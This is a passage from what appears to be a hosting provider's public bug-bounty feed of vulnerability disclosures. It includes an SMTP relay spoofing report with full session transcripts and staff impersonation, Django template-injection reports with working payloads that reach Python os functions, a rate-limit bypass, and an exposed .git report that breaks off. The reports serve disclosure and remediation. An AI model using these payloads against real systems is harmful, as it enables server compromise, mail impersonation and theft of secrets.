<blockquote><div class="no">
 EHLO vk7research.alwaysdata.net<br />&lt; 250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]<br />&lt; 250-SIZE 52428800<br />&lt; 250-LIMITS RCPTMAX=5000<br />&lt; 250-8BITMIME<br />&lt; 250-PIPELINING<br />&lt; 250-PIPECONNECT<br />&lt; 250-AUTH PLAIN LOGIN<br />&lt; 250-STARTTLS<br />&lt; 250-SMTPUTF8<br />&lt; 250 HELP</div></blockquote>

<p>
 – NO AUTH COMMAND ISSUED – 
</p>
<blockquote><div class="no">
 MAIL FROM:<a href="mailto:ACCOUNT-B@alwaysdata.net" class="mail JSnocheck" title="ACCOUNT-B@alwaysdata.net">ACCOUNT-B@alwaysdata.net</a></div></blockquote>

<p>
&lt; 250 OK 
</p>
<blockquote><div class="no">
 RCPT TO:<a href="mailto:vk7research@alwaysdata.net" class="mail JSnocheck" title="vk7research@alwaysdata.net">vk7research@alwaysdata.net</a></div></blockquote>

<p>
&lt; 250 Accepted 
</p>
<blockquote><div class="no">
 DATA<br />&lt; 354 Enter message, ending with &quot;.&quot; on a line by itself</div></blockquote>

<p>
 From: &quot;alwaysdata billing&quot; <a href="mailto:ACCOUNT-B@alwaysdata.net" class="mail JSnocheck" title="ACCOUNT-B@alwaysdata.net">ACCOUNT-B@alwaysdata.net</a> To: vk7research@alwaysdata.net Subject: R5 unauth internal-relay spoof PoC<br />Message-ID: <a href="mailto:R5-a5b106cb7c96@vk7research.alwaysdata.net" class="mail JSnocheck" title="R5-a5b106cb7c96@vk7research.alwaysdata.net">R5-a5b106cb7c96@vk7research.alwaysdata.net</a> X-R5-Probe: unauth-internal-relay<br /><acronym title="Multipurpose Internet Mail Extension">MIME</acronym>-Version: 1.0<br />Content-Type: text/plain; charset=utf-8
</p>

<p>
This message was sent WITHOUT authentication via the internal relay,<br />spoofing another customer&#039;s address in MAIL FROM.<br />.
</p>

<p>
&lt; 250 OK id=1xTy9o-0000000BlS5-2pRu 
</p>
<blockquote><div class="no">
 QUIT<br />&lt; 221 smtpout1.paris1.alwaysdata.com closing connection</div></blockquote>

<p>
 The relay queued the message (Exim queue ID 1xTy9o-0000000BlS5-2pRu). The From header names another customer&#039;s mailbox; no authentication was performed.
</p>

<p>
Part E. Verify inbox delivery via <acronym title="Internet Message Access Protocol">IMAP</acronym>
</p>

<p>
We connected to the <acronym title="Internet Message Access Protocol">IMAP</acronym> server for mailbox vk7research@alwaysdata.net to confirm the spoofed message arrived in INBOX (not Spam).
</p>

<p>
<acronym title="Internet Message Access Protocol">IMAP</acronym> server: imap-vk7research.alwaysdata.net:993 (implicit <acronym title="Transport Layer Security">TLS</acronym>)
</p>

<p>
&lt; * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN AUTH=LOGIN] Dovecot (Debian) ready.
</p>

<p>
a1 LOGIN vk7research@alwaysdata.net &lt;PASSWORD&gt;<br />&lt; a1 OK […] Logged in
</p>

<p>
a2 SELECT INBOX<br />&lt; * 67 EXISTS<br />&lt; * 2 RECENT<br />&lt; * OK [UNSEEN 61] First unseen.<br />&lt; a2 OK [READ-WRITE] Select completed (0.002 + 0.000 + 0.001 secs).
</p>

<p>
a3 SEARCH HEADER X-R5-Probe unauth-internal-relay<br />&lt; * SEARCH 67<br />&lt; a3 OK Search completed (0.044 + 0.000 + 0.043 secs).
</p>

<p>
a4 SEARCH FROM ACCOUNT-B<br />&lt; * SEARCH 67<br />&lt; a4 OK Search completed (0.001 + 0.000 secs).
</p>

<p>
Message #67 is the spoofed message. It landed in INBOX, not in a Spam or Junk folder. The X-R5-Probe header confirms it is our test message, and FROM search confirms the spoofed sender.
</p>

<p>
Part F. CONTROL: Staff impersonation accepted
</p>

<p>
In the same session as Part C, we tested MAIL FROM with an alwaysdata staff address: 
</p>
<blockquote><div class="no">
 RSET<br />&lt; 250 Reset OK</div></blockquote>
<blockquote><div class="no">
 MAIL FROM:<a href="mailto:admin@alwaysdata.com" class="mail JSnocheck" title="admin@alwaysdata.com">admin@alwaysdata.com</a>                ← staff address<br />&lt; 250 OK</div></blockquote>
<blockquote><div class="no">
 RCPT TO:<a href="mailto:vk7research@alwaysdata.net" class="mail JSnocheck" title="vk7research@alwaysdata.net">vk7research@alwaysdata.net</a></div></blockquote>

<p>
&lt; 250 Accepted
</p>

<p>
The relay accepted MAIL FROM:<a href="mailto:admin@alwaysdata.com" class="mail JSnocheck" title="admin@alwaysdata.com">admin@alwaysdata.com</a> without authentication. We did NOT send DATA for this test; the 250 OK on MAIL FROM and 250 Accepted on RCPT TO demonstrate the relay would queue a staff impersonation message.
</p>

<p>
Part G. CONTROL: Open relay to external domains 
</p>
<blockquote><div class="no">
 RSET<br />&lt; 250 Reset OK</div></blockquote>
<blockquote><div class="no">
 MAIL FROM:<a href="mailto:vk7research@alwaysdata.net" class="mail JSnocheck" title="vk7research@alwaysdata.net">vk7research@alwaysdata.net</a></div></blockquote>

<p>
&lt; 250 OK 
</p>
<blockquote><div class="no">
 RCPT TO:<a href="mailto:relaytest@example.com" class="mail JSnocheck" title="relaytest@example.com">relaytest@example.com</a>                 ← external domain<br />&lt; 250 Accepted</div></blockquote>

<p>
 (same behavior on port 25, identical banner and EHLO response)
</p>

<p>
An external RCPT TO is accepted with no AUTH. We deliberately did NOT send DATA to external recipients per engagement rules. The 250 Accepted from an Exim instance recognising the source as relay_from_hosts with no AUTH is the standard open relay signature. If we had sent DATA, the message would have been queued for delivery to example.com.
</p>

<p>
Part H. CONTROL: Authenticated submission service BLOCKS the same spoofing
</p>

<p>
This is the critical control that proves the relay is bypassing an intentional security boundary. The customer facing submission service, which is the INTENDED mail path for customers, enforces sender ownership:
</p>

<p>
Server: smtp-vk7research.alwaysdata.net:587<br />&gt; AUTH LOGIN (with vk7research credentials)<br />&lt; 235 Authentication succeeded 
</p>
<blockquote><div class="no">
 MAIL FROM:<a href="mailto:ACCOUNT-B@alwaysdata.net" class="mail JSnocheck" title="ACCOUNT-B@alwaysdata.net">ACCOUNT-B@alwaysdata.net</a>            ← same cross-customer address as Part C<br />&lt; 550 You are not allowed to send messages from this address</div></blockquote>

<p>
 The authenticated path rejects the exact same MAIL FROM that the internal relay accepts. This proves: (a) The platform INTENDS to restrict senders to their own mailbox addresses. (b) The internal relay does NOT enforce that restriction because it never sees an AUTH identity. © The finding is a bypass of an existing security control, not an inherent design limitation.
</p>

<p>
Proof of Concept:
</p>

<p>
The following are verbatim captured transcripts from the test session on 2026-11-19 between 10:08 and 10:45 UTC+1.
</p>

<h4 id="transcript_1relay_posture_probe_smtp-relay-probe-out.txt">Transcript 1: Relay posture probe (smtp-relay-probe-out.txt)</h4>
<div class="level4">

<p>
 ### R5 <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> RELAY PROBE 2026-11-19T10:08:59+01:00 ###<br />node uname: http22<br />resolve smtp-edusync.alwaysdata.net: 185.31.41.82<br />resolve localhost smtp: 127.0.0.1
</p>

</div>

<h4 id="smtp-edusync.alwaysdata.net587">smtp-edusync.alwaysdata.net:587</h4>
<div class="level4">

<p>
banner: 220 smtpout1.paris1.alwaysdata.com <acronym title="Extended Simple Mail Transfer Protocol">ESMTP</acronym> Exim 4.98.2 Thu, 19 Nov 2026 10:08:59 +0100<br />EHLO:<br />250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]<br />250-SIZE 52428800<br />250-LIMITS RCPTMAX=5000<br />250-8BITMIME<br />250-PIPELINING<br />250-PIPECONNECT<br />250-AUTH PLAIN LOGIN<br />250-STARTTLS<br />250-SMTPUTF8<br />250 HELP<br />AUTH advertised: YES<br />MAIL FROM own: 250 OK<br />RCPT own:      250 Accepted<br />RCPT ext(probe only, no DATA): 250 Accepted<br />MAIL FROM spoof-cust: 250 OK<br />RCPT own after spoof: 250 Accepted<br />QUIT:          221 smtpout1.paris1.alwaysdata.com closing connection
</p>

</div>

<h4 id="smtp-edusync.alwaysdata.net25">smtp-edusync.alwaysdata.net:25</h4>
<div class="level4">

<p>
banner: 220 smtpout1.paris1.alwaysdata.com <acronym title="Extended Simple Mail Transfer Protocol">ESMTP</acronym> Exim 4.98.2 Thu, 19 Nov 2026 10:09:00 +0100<br />EHLO:<br />250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]<br />250-SIZE 52428800<br />250-LIMITS RCPTMAX=5000<br />250-8BITMIME<br />250-PIPELINING<br />250-PIPECONNECT<br />250-AUTH PLAIN LOGIN<br />250-STARTTLS<br />250-SMTPUTF8<br />250 HELP<br />AUTH advertised: YES<br />MAIL FROM own: 250 OK<br />RCPT own:      250 Accepted<br />RCPT ext(probe only, no DATA): 250 Accepted<br />MAIL FROM spoof-cust: 250 OK<br />RCPT own after spoof: 250 Accepted<br />QUIT:          221 smtpout1.paris1.alwaysdata.com closing connection
</p>

</div>

<h4 id="local_mta">127.0.0.1:587 (local MTA?)</h4>
<div class="level4">

<p>
CONNECT FAILED: Connection refused (111)
</p>

</div>

<h4 id="localhost587_local_mta">localhost:587 (local MTA?)</h4>
<div class="level4">

<p>
CONNECT FAILED: Connection refused (111)
</p>

</div>

<h4 id="transcript_2unauthenticated_cross-customer_data_send_smtp-relay-data-out.txt">Transcript 2: Unauthenticated cross-customer DATA send (smtp-relay-data-out.txt)</h4>
<div class="level4">

<p>
 ### R5 UNAUTH RELAY DATA TEST 2026-11-19T10:10:17+01:00 mid=R5-a5b106cb7c96@vk7research.alwaysdata.net ###
</p>

<p>
banner&lt; 220 smtpout1.paris1.alwaysdata.com <acronym title="Extended Simple Mail Transfer Protocol">ESMTP</acronym> Exim 4.98.2 Thu, 19 Nov 2026 10:10:17 +0100<br />&gt; EHLO vk7research.alwaysdata.net<br />&lt; 250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]<br />250-SIZE 52428800<br />250-LIMITS RCPTMAX=5000<br />250-8BITMIME<br />250-PIPELINING<br />250-PIPECONNECT<br />250-AUTH PLAIN LOGIN<br />250-STARTTLS<br />250-SMTPUTF8<br />250 HELP<br />– NO AUTH COMMAND ISSUED –
</p>
<blockquote><div class="no">
 MAIL FROM:<a href="mailto:ACCOUNT-B@alwaysdata.net" class="mail JSnocheck" title="ACCOUNT-B@alwaysdata.net">ACCOUNT-B@alwaysdata.net</a></div></blockquote>

<p>
&lt; 250 OK<br />&gt; RCPT TO:<a href="mailto:vk7research@alwaysdata.net" class="mail JSnocheck" title="vk7research@alwaysdata.net">vk7research@alwaysdata.net</a> &lt; 250 Accepted<br />&gt; DATA<br />&lt; 354 Enter message, ending with &quot;.&quot; on a line by itself<br />&lt; DATA result: 250 OK id=1xTy9o-0000000BlS5-2pRu<br />&gt; QUIT<br />&lt; 221 smtpout1.paris1.alwaysdata.com closing connection
</p>

</div>

<h4 id="transcript_3imap_inbox_delivery_verification_imap-check-out.txt">Transcript 3: IMAP inbox delivery verification (imap-check-out.txt)</h4>
<div class="level4">

<p>
 banner: * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN AUTH=LOGIN] Dovecot (Debian) ready.<br />login: a1 OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS<br />THREAD=ORDEREDSUBJECT MULTIAPPEND <acronym title="Uniform Resource Locator">URL</acronym>-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC<br />ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY PREVIEW STATUS=SIZE SAVEDATE LITERAL+<br />NOTIFY SPECIAL-USE COMPRESS=DEFLATE QUOTA] Logged in<br />select: * FLAGS (\Answered \Flagged \Deleted \Seen \Draft)<br />* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.<br />* 67 EXISTS<br />* 2 RECENT<br />* OK [UNSEEN 61] First unseen.<br />* OK [UIDVALIDITY 1789881189] UIDs valid<br />* OK [UIDNEXT 72] Predicted next UID<br />a2 OK [READ-WRITE] Select completed (0.002 + 0.000 + 0.001 secs).<br />search: * SEARCH 67<br />a3 OK Search completed (0.044 + 0.000 + 0.043 secs).<br />search-from: * SEARCH 67<br />a4 OK Search completed (0.001 + 0.000 secs).
</p>

<p>
Impact:
</p>

<p>
DEMONSTRATED:
</p>

<p>
Cross-customer impersonation at inbox quality. Any tenant on a shared web node can send mail as any other @alwaysdata.net customer without authentication. We proved end to end delivery: the spoofed message (queue ID 1xTy9o-0000000BlS5-2pRu) reached the target inbox as message #67 (<acronym title="Internet Message Access Protocol">IMAP</acronym> verified). A phishing message impersonating another customer&#039;s billing notifications, password resets, or account alerts would appear legitimate because it originates from the platform&#039;s own outbound mail server.
</p>

<p>
Staff impersonation. MAIL FROM:<a href="mailto:admin@alwaysdata.com" class="mail JSnocheck" title="admin@alwaysdata.com">admin@alwaysdata.com</a> was accepted (250 OK) without authentication. An attacker can send messages that appear to come from alwaysdata staff, targeting any customer for credential harvesting or social engineering.
</p>

<p>
Open relay posture. External recipients (RCPT TO:<a href="mailto:relaytest@example.com" class="mail JSnocheck" title="relaytest@example.com">relaytest@example.com</a>) are accepted without authentication on both port 587 and port 25. If abused for spam, the resulting blocklisting of alwaysdata&#039;s outbound IPs would degrade mail deliverability for every customer on the platform.
</p>

<p>
Bypass of an intentional sender ownership control. The customer facing submission service (smtp-vk7research.alwaysdata.net:587) rejects MAIL FROM with another customer&#039;s address (550 You are not allowed to send messages from this address). The internal relay accepts the same address because it performs no ownership check. This is not a limitation of <acronym title="Simple Mail Transfer Protocol">SMTP</acronym>; it is a gap between the intended security model and the relay&#039;s configuration.
</p>

<p>
What we are not claiming:
</p>

<p>
We did NOT complete an external relay delivery. RCPT TO with an external address returned 250 Accepted on both ports, but we issued QUIT before DATA for every external recipient test. We therefore cannot state that an external message was delivered end to end. We report the relay posture (unauthenticated RCPT TO acceptance from a relay_from_hosts source) and leave full external delivery confirmation to your team.
</p>

<p>
We did NOT capture the DKIM-Signature header from the delivered message. The relay hostname (smtpout1.paris1.alwaysdata.com) is the platform&#039;s primary outbound MTA, and the spoofed message landed in INBOX rather than Spam, which is consistent with valid DKIM signing. However, we did not perform a FETCH of the message headers to independently verify the signature. We report the inbox placement as observed fact and leave DKIM confirmation to your team&#039;s review of the queue logs.
</p>

<p>
On why &quot;customers have <acronym title="Secure Shell">SSH</acronym> and can already send mail&quot; does not apply here:
</p>

<p>
Customers can run arbitrary code on the shared web node, which includes opening TCP sockets. This is by design and is not the finding. The finding is that the internal relay, reachable from that code, enforces NO sender validation. The platform&#039;s own authenticated submission service demonstrates that sender ownership enforcement IS the intended security boundary: it returns 550 You are not allowed to send messages from this address when a customer tries to send as another. The internal relay simply does not apply that same check. Fixing the relay to require AUTH and bind MAIL FROM to the authenticated identity (mirroring the submission service&#039;s existing logic) would close this gap without changing any network or code execution permissions.
</p>

<p>
On why this is not a duplicate of R3-02 (DKIM private key read via filter injection):
</p>

<p>
R3-02 concerned the ability to READ the platform&#039;s DKIM private key material through a filter injection path. That finding&#039;s root cause was an unrestricted filter directive, and the fix was restricting filter capabilities. This finding concerns the relay&#039;s sender validation configuration. The root causes are unrelated. Even if R3-02&#039;s filter injection were still open, it would not explain or enable the relay&#039;s acceptance of unauthenticated MAIL FROM with arbitrary sender addresses.
</p>

<p>
Recommendation:
</p>

<p>
Require <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> AUTH on the internal relay for all connections from shared web nodes, mirroring the submission service&#039;s existing behavior. Bind the authenticated identity to MAIL FROM for @alwaysdata.net and @alwaysdata.com addresses so a customer can only send as their own mailbox.
</p>

<p>
Restrict external relaying for web node sources. Either require AUTH for external RCPT TO or maintain an explicit allow list of external domains per account, enforced at the relay level.
</p>

<p>
Apply per account rate limiting on the relay for node originated submissions, independent of the submission service&#039;s limits, to bound abuse if the sender validation fix is staged.
</p>

<p>
Suppress the relay hostname and port from the unauthenticated healthcheck endpoint (port 8300) that currently returns {&quot;ok&quot;:true,&quot;host&quot;:&quot;smtp-edusync.alwaysdata.net&quot;,&quot;port&quot;:587,…}.
</p>

<p>
DISCLOSURE AND CLEANUP. All test artifacts have been removed. Three <acronym title="Hypertext Preprocessor">PHP</acronym> probe scripts (sr143845.php, sd144003.php, ic144057.php) were overwritten to 0 bytes in ~/www/ (verified empty, <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200). Only ONE test message was sent: self addressed, spoofing as the sender, delivered to our own mailbox vk7research@alwaysdata.net. No mail was delivered to any third party or external recipient; external recipients were tested at RCPT level only (QUIT before DATA). The mailbox password used for <acronym title="Internet Message Access Protocol">IMAP</acronym> verification was rotated to a random value after the test because it appeared as a <acronym title="Uniform Resource Locator">URL</acronym> parameter in a web access log. The WebDAV password was also rotated. No internal service state was modified beyond the single self delivered PoC message in our own inbox.
</p>

<p>
Test time window: 2026-11-19 10:08 to 10:45 UTC+1 (09:08 to 09:45 UTC). Egress IP: 2a00:b6e0:1:20:23::1 (http22.paris1, shared web node IPv6). Expected log anomalies: multiple <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> connections to smtpout1.paris1 from http22 within a 37 minute window, one queued message (id 1xTy9o-0000000BlS5-2pRu), one <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> smuggling test (id 1xTyfe-0000000BqdX-0gcX, self addressed), and several RSET/QUIT sequences with no DATA.
</p>

<p>
On the score.
</p>

<p>
CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N = 8.3 High.
</p>

<p>
AV:N The relay is reachable from code on the shared web node, which is reachable from the network (<acronym title="Hypertext Preprocessor">PHP</acronym> upload via WebDAV, cron, <acronym title="Secure Shell">SSH</acronym>). AC:L The attack requires a single TCP connection with a standard <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> handshake. No race condition, no special timing. AT:N No prerequisites beyond a hosting account. No tokens to steal, no second vulnerability to chain. PR:L A free plan account provides code execution on the shared web node. No paid product or elevated permission. UI:N No victim interaction. The attacker sends the spoofed message unilaterally. VC:N The relay itself does not disclose confidential data. VI:H Complete loss of sender integrity on the mail system. Any sender address is accepted, defeating the platform&#039;s ownership model entirely. VA:N No availability degradation was demonstrated or attempted. SC:N The spoofed mail does not directly extract data from subsequent systems. SI:H The spoofed message integrity impacts every recipient who trusts the platform&#039;s sender identity: other customers, staff, and (via open relay) external parties. SA:N No subsequent availability impact.
</p>

<p>
The lower alternative reading: VI:L and SI:L would apply if the spoofing were limited (e.g., only the customer&#039;s own addresses or only within a narrow scope). Because the finding demonstrates spoofing of ANY sender including staff addresses AND acceptance of external recipients, the impact is not constrained. If you disagree with VI:H on the basis that no data is modified on the relay itself, the vector would be CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N = 6.9 Medium. We believe VI:H is correct because &quot;complete loss of integrity&quot; in CVSS 4.0 means the attacker can &quot;modify any data&quot; and here the attacker controls the sender identity on every message, which is the relay&#039;s core integrity function.<br />
</p>

</div>
</div>
    </content>
    <author><name>Bajinder Kumar</name></author>
    <id>https://security.alwaysdata.com/:558</id>
  </entry>
    <entry>
    <title>FS#556: SSTI in addresses-MAX_NUM_FORMS Hidden Field Leads to RCE</title>
    <link href="https://security.alwaysdata.com/task/556" />    
    <updated>2026-11-23T09:19:50Z</updated>    
    <published>2026-11-18T19:33:24Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The addresses-MAX_NUM_FORMS hidden field on /site/add/ is reflected through an unescaped Django template on form submission. Injecting template expressions causes server-side evaluation, reaching Python objects, leading to Remote Code Execution
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

1. Log in to the test account and open https://admin.alwaysdata.com/site/add/.

2. Open devtools → Elements and search for addresses-MAX_NUM_FORMS. You&#039;ll find, inside the &quot;Addresses&quot; block:
&lt;input type=&quot;hidden&quot; name=&quot;addresses-MAX_NUM_FORMS&quot; value=&quot;100000&quot; id=&quot;id_addresses-MAX_NUM_FORMS&quot;&gt;

3. Change its value to:
live{{7|add:42}}live

4. Leave the address field empty and change nothing else. Click the form&#039;s submit button.

5. The page comes back with errors (&quot;At least one address must be specified&quot;, &quot;Max num forms : Enter a whole number&quot;). View the page source and search for addresses-MAX_NUM_FORMS again:
&lt;input type=&quot;hidden&quot; name=&quot;addresses-MAX_NUM_FORMS&quot; value=&quot;live49live&quot; id=&quot;id_addresses-MAX_NUM_FORMS&quot;&gt;
   
49 means the server evaluated the template expression. 

Second step, showing it reaches Python objects

6. Reload /site/add/ (fresh form), set the same field to:

RCE-{{form.forms.gi_frame.f_globals.django.conf.os.uname.nodename}}-{{form.forms.gi_frame.f_globals.django.conf.os.getuid}}
   
and submit the same way. Live result was value=&quot;RCE-overlord-core-33&quot;, the panel worker&#039;s process id.

</pre>

</div>

<h3 id="impact">Impact</h3>
<div class="level3">

<p>
 Attacker can execute arbitrary commands on the server, read SECRET_KEY, environment variables, and internal server details — resulting in full server compromise.<br />
</p>

</div>
</div>
    </content>
    <author><name>Siddharth Sharma</name></author>
    <id>https://security.alwaysdata.com/:556</id>
  </entry>
    <entry>
    <title>FS#555: SSTI Leads to RCE</title>
    <link href="https://security.alwaysdata.com/task/555" />    
    <updated>2026-11-19T07:30:06Z</updated>    
    <published>2026-11-18T13:44:12Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The “Name” field of an Application Script is rendered as an unescaped Django template. Setting the name to a template expression (e.g. <a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=os.uname" class="media mediafile mf_" title="os.uname">os.uname</a>) causes it to execute server-side when loading /site/add/?application=&lt;id&gt;, leaking server info (hostname, UID, SECRET_KEY). Potential RCE.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

1. Log in at https://admin.alwaysdata.com/login/ 
2. Go to https://admin.alwaysdata.com/site/application/script/add/ (Web → Sites → Application scripts → Add an application script).

┌─────────────────────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│        Field        │                                                            Value                                                            │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Name                │ RCE-{{form.forms.gi_frame.f_globals.django.conf.os.uname.nodename}}-{{form.forms.gi_frame.f_globals.django.conf.os.getuid}} │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ URL                 │ https://example.com/                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author name         │ test                                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author URI          │ https://example.com/                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script upstream URI │ leave empty                                                                                                                 │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Public application  │ leave unticked                                                                                                              │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script              │ the block below                                                                                                             │
└─────────────────────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

#!/bin/bash
# site:
#     type: php
# form:
#     testfield:
#         label: test
#         required: false
exit 0

The form: section is required — without it no fieldset renders and you see nothing.

3. Submit. You land back on /site/application/script/. The new row links to /site/application/script/&lt;id&gt;/ — note that id (e.g. 629).

4. Open https://admin.alwaysdata.com/site/add/?application=&lt;id&gt; — just load it, submit nothing.

5. Look at the grey &quot;well&quot; fieldset heading. It reads:

RCE-overlord-core-33

</pre>

</div>

<h3 id="impact">Impact</h3>
<div class="level3">

<p>
 Attacker can execute arbitrary commands on the server, read sensitive data including Django SECRET_KEY, environment variables, and internal file paths — leading to full server compromise.<br />
</p>

</div>
</div>
    </content>
    <author><name>Siddharth Sharma</name></author>
    <id>https://security.alwaysdata.com/:555</id>
  </entry>
    <entry>
    <title>FS#545: # Rate Limit Bypass on Password Reset Endpoint via Spoofable X-Forwarded-For Header</title>
    <link href="https://security.alwaysdata.com/task/545" />    
    <updated>2026-11-10T17:19:36Z</updated>    
    <published>2026-11-08T23:09:27Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
### Summary
</p>

<p>
The password-reset endpoint at `<a href="https://admin.alwaysdata.com/password/lost/" class="urlextern" title="https://admin.alwaysdata.com/password/lost/"  rel="nofollow">https://admin.alwaysdata.com/password/lost/</a>` appears to rely on the client-supplied `X-Forwarded-For` header when identifying clients for rate limiting.
</p>

<p>
After reaching the endpoint&#039;s request limit and receiving an <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> `429 Too Many Requests` response, changing the `X-Forwarded-For` header value allowed additional password-reset requests.
</p>

<p>
During testing using my own email address, I received nearly 100 password-reset emails, demonstrating that the rate-limiting mechanism could be bypassed and that repeated email notifications could be triggered.
</p>

<p>
### Affected Endpoint
</p>

<p>
`POST <a href="https://admin.alwaysdata.com/password/lost/" class="urlextern" title="https://admin.alwaysdata.com/password/lost/"  rel="nofollow">https://admin.alwaysdata.com/password/lost/</a>`
</p>

<p>
### Steps to Reproduce
</p>

<p>
1. Navigate to the password-reset page.
</p>

<p>
2. Submit password-reset requests using an email address you control.
</p>

<p>
3. Continue until the server responds with `<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 429 Too Many Requests`.
</p>

<p>
4. Change the `X-Forwarded-For` header value in the request.
</p>

<p>
5. Submit another request.
</p>

<p>
6. Observe that the endpoint accepts further requests despite the previous rate-limit response.
</p>

<p>
7. Check the controlled mailbox and observe the additional password-reset emails.
</p>

<p>
### Proof of Concept
</p>

<p>
Original request header:
</p>

<p>
`X-Forwarded-For: [initial value]`
</p>

<p>
After receiving <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 429, change the header:
</p>

<p>
`X-Forwarded-For: [different value]`
</p>

<p>
The endpoint then accepts further requests instead of consistently enforcing the rate limit.
</p>

<p>
### Impact
</p>

<p>
An unauthenticated attacker may be able to bypass the password-reset request limit by manipulating the `X-Forwarded-For` header.
</p>

<p>
This could allow repeated password-reset emails to be triggered for a target email address, potentially resulting in email flooding, user disruption, and abuse of the password-reset notification system.
</p>

<p>
Testing was performed only using an email address under my control.
</p>

<p>
### Recommended Remediation
</p>

<p>
- Do not trust arbitrary client-supplied `X-Forwarded-For` values.<br />- Configure trusted reverse proxies to overwrite or sanitise forwarding headers.<br />- Derive the rate-limit identity from the actual client IP as established by trusted infrastructure.<br />- Apply additional rate limits based on the destination email address and other appropriate identifiers.<br />- Consider a progressive cooldown and abuse-detection mechanism.
</p>

<p>
### Evidence
</p>

<p>
- <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 429 response showing that the rate limit was reached.<br />- Subsequent accepted requests after changing the forwarding header.<br />- Password-reset emails received in my controlled mailbox, with timestamps.
</p>
</div>
    </content>
    <author><name>Sardar Zabi</name></author>
    <id>https://security.alwaysdata.com/:545</id>
  </entry>
    <entry>
    <title>FS#544: REGRESSION of FS#532: .git still exposed on security.alwaysdata.com</title>
    <link href="https://security.alwaysdata.com/task/544" />    
    <updated>2026-11-05T08:24:57Z</updated>    
    <published>2026-11-03T22:49:43Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
This is a REGRESSION of <del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> (Exposed .git repository, previously rated High). The .git directory on security.alwaysdata.com is still publicly served as of 2026-11-04, unauthenticated:
</p>

<p>
GET <a href="https://security.alwaysdata.com/.git/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/HEAD</a> → 200, body &quot;ref: refs/heads/master&quot;<br />GET <a href="https://security.alwaysdata.com/.git/config" class="urlextern" title="https://security.alwaysdata.com/.git/config"  rel="nofollow">https://security.alwaysdata.com/.git/config</a> → 200 (Flyspray clone config, remote origin github.com/flyspray/flyspray.git)<br />GET <a href="https://security.alwaysdata.com/.git/logs/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/logs/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/logs/HEAD</a> → 200 (336 bytes: clone 2024-01, pull fast-forward 2026-07-13)<br />GET <a href="https://security.alwaysdata.com/.git/refs/heads/master" class="urlextern" title="https://security.alwaysdata.com/.git/refs/heads/master"  rel="nofollow">https://security.alwaysdata.com/.git/refs/heads/master</a> → 200 (commit a1ffafd65d5662d69e8b0334315b857449e3ea38)
</p>

<p>
